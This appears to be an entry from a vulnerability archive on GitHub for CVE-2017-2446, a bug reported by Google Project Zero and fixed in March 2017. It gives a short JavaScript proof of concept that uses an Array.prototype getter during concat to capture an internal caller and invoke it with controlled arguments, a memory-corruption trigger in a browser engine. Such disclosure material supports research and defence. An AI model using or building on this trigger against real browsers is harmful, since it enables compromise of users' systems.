Skip to content

Latest commit

 

History

History
27 lines (21 loc) · 555 Bytes

CVE-2017-2446.md

File metadata and controls

27 lines (21 loc) · 555 Bytes

CVE-2017-2446

  • Report: Jan 2017
  • Fix: Mar 2017
  • Credit: Natalie Silvanovich, Google Project Zero

PoC

var q;
function g(){
    q = g.caller;
    return 7;
}

var a = [1, 2, 3];
a.length = 4;
Object.defineProperty(Array.prototype, "3", {get : g});
[4, 5, 6].concat(a);
q(0x77777777, 0x77777777, 0);

Reference